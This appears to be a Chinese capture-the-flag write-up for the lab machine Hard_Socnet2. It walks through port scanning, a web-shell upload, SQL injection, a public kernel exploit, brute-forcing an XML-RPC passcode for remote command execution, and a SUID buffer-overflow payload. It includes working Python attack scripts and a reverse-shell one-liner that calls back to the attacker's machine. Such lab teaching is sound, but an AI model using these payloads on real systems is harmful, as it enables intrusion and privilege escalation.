Hard_Socnet2

环境搭建

1
2
渗透机:192.168.50.216
靶机:192.168.50.43

端口探针

1
nmap -p- 192.168.50.43

image-20240222165250319

服务探针

1
nmap -p22,80,8000 -sV 192.168.50.43

image-20240222165511515

可知 80端口是一个Apache的一个Web页面;

8000端口是一个python开的一个Web服务

通过对80 8000 端口的分别访问 80是一个登陆界面 8000 501报错

image-20240222165704606

image-20240222165716873

根据报错:请求方式错误

可以尝试抓包改请求方式,看服务端支持哪种请求方式

image-20240222170236748

1
2
通过尝试常见的请求方法 探针可用的方法(这里没有探针出来,但是提供思路点)
OPTIONS GET POST PUT DELETE

很显然8000端口目前没有可利用点

继续回到80端口

image-20240222171317964

可知需要Email和Password 才可登陆

1
2
3
尝试万能密码去尝试之后 发现 登陆不进去 发现还是要知道邮箱然后进行登陆
目前所获得的信息 显然达不到爆破进入管理员后台
Login页面旁的Sign Up 注册用户 是可以利用的一个点创建一个用户

image-20240222171925374

发现可以任意用户创建登陆后台

image-20240222172256631

image-20240222172419126

可以知道存在 admin 用户

根据admin用户发布的文章可推测服务器存在一个python的脚本文件

可能存在利用点

文件上传

image-20240222172907773

看了各种admin用户文章并没得到admin的邮箱

通过尝试各种功能点,发现一个文件上传功能点

image-20240222173510469

成功上传且抓包过程中就能知道 文件上传所在位置

(或者在头像处也可复制SHELL地址访问)

然后用蚁剑连接尝试

image-20240222173756541

连接成功

通过文件上传即可拿到低权限shell

image-20240222175354683

1
lsb_release -a    查看详细版本信息

SQL注入

只是能够得到admin邮箱从而登陆admin账号

通过后台拿shell的权限是一样的

image-20240222174051885

1
搜索的表单提交含有SQL注入

通过SQL注入可以注入出admin的邮箱及密码

image-20240222175015454

提权

提权一:内核提权

https://github.com/briskets/CVE-2021-3493

image-20240222222943050

CVE-2021-3493

image-20240222175903488

通过返回来的命令 看起来已经成功了

可能已经提权成功了(可能:蚁剑SHELL不全所造成退出)

1
2
3
反弹shell  nc版本不支持-e参数 可尝试串联shell
或者
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.50.216 6666 >/tmp/f

image-20240222180952995

提权二:缓冲区溢出提权

XMLRPC模块

xmlrpc — XMLRPC 服务端与客户端模块 — Python 3.12.2 文档

XML-RPC 是一种远程过程调用方法,它使用通过 HTTP 传递的 XML 作为载体。 有了它,客户端可以在远程服务器上调用带参数的方法(服务器以 URI 命名)并获取结构化的数据。

image-20240222191220107

查看可登陆的用户,去到它的家目录

发现存在 monitor.py 这对应了管理员发的文章,查看进程看脚本是否运行

image-20240222191507132

可知 该程序是正在运行的 由于是python 又可以直接进入socnet目录查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random

debugging_pass = random.randint(1000,9999)

def runcmd(cmd):
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output

def cpu():
return runcmd("cat /proc/cpuinfo")

def mem():
return runcmd("free -m")

def disk():
return runcmd("df -h")

def net():
return runcmd("ip a")

def secure_cmd(cmd,passcode):
if passcode==debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."

server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)

server.serve_forever()

根据服务器代码写出发送请求代码

1
2
3
4
import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.50.43:8000/") as proxy:
print(str(proxy.net()))

image-20240222194313769

1
2
3
4
5
6
7
def secure_cmd(cmd,passcode):
if passcode==debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."

该方法 可以自定义代码进行RCE 前提是 要知道 passcode

由于 passcode==debugging_pass;

而debugging_pass = random.randint(1000,9999)

故可以尝试 暴力破解 passcode

1
2
3
4
5
6
7
8
9
import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.50.43:8000/") as proxy:
for i in range(1000,9999):
r = str(proxy.secure_cmd('whoami',i))
if "Wrong" not in r:
print(i)
print(r)
break

image-20240222195012112

1
成功爆破出passcode 9935  也成功执行了whoami命令

反弹shell得到socnet权限

1
2
3
4
5
import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.50.43:8000/") as proxy:
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.50.216 6666 >/tmp/f"
print(str(proxy.secure_cmd(cmd,9935)))

调试程序

image-20240222200951904

add_record是个32位Linux可执行程序且具有特殊权限

1
peda  python  动态调试

首先执行 查看是否含有提交数据入口点

image-20240222202050996

发现含有几个位置用户可以提交数据

1
2
3
4
gdb -q ./add_record   # 静态调试程序
gdb -q #程序静态执行
r #执行
q #退出

查找存在内存溢出的变量位置(输入大量数据)

image-20240222202702534

程序正常退出,说明不存在

在最后一个变量 描述中存在溢出

image-20240222203152047

1
2
3
4
重点关注:EIP: 0x41414141 ('AAAA')
确定('AAAA')属于哪个位置
一开始判断 选择使用500个去写入 判断出溢出点后
可以先减少字符后 再进行寻找溢出位置 后面减少到100 仍可以 判断出溢出
1
2
3
使用 pattern 生成特殊字符
pattern create 100
pattern search #识别位置

image-20240222204057490

image-20240222204159710

使用 pattern search 即可帮助我们识别出来

验证

image-20240222204424234

填入数据验证得

image-20240222204455545

1
前62位占位  BCDE 成功溢出
1
2
disas main   #显示程序 汇编代码
程序执行 CPU分配下发地址

image-20240222204832573

1
2
call 调用系统函数 打开文本文件命令
通过之前找用户提交数据位置点的时候 程序会生成一个txt

image-20240222211542280

1
2
3
4
5
break *地址				   #下断点
s #单步执行
c #继续执行
del number #删断点
info func #查看函数信息

image-20240222211442585

1
disas 方法名					#查看具体函数所执行的汇编指令

image-20240222211945780

1
<strcpy@plt> 存在缓冲区溢出漏洞

image-20240222212132389

1
2
<setuid@plt>
<system@plt>

注:

1
2
3
4
5
6
7
8
9
程序执行:
打开文本文件
用户提交用户名
用户提交工作年限
用户提交薪资
用户提交是否遇到麻烦 遇到过为1 没有为0
用户描述遇到的问题
(工作年限和工资都为int类型)(溢出存在于用户描述问题这个变量0)
一定要选遇到过 输入1 输入0则直接退出程序

image-20240222212627878

1
2
数据是倒过来存储
CPU架构 大头小头概念

payload:

1
python -c "import struct;print('aa\n1\n1\n1\n' +'A'* 62 + struct.pack('I',0x08048676))" > payload

image-20240222214209987

将 payload 输入进程序 查看

image-20240222215257158

1
2
发现 程序 新建了两个进程 /bin/bash
跟进一下 查看程序发生了什么

image-20240222220409213

1
2
cat payload - | ./add_record
查看payload 将payload 全部输入给 add_record 这个程序即可提权

image-20240222220950638


gdb命令总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb -q ./程序名  #静态调试程序
gdb -q #程序静态执行
r #执行
q #退出

pattern create 100 #生成100位特殊字符
pattern search #定位字符

break *地址 #下断点
s #单步执行
c #继续执行
del number #删断点
info func #查看函数信息
disas main #显示程序全部汇编代码
disas 方法名 #查看具体函数所执行的汇编指令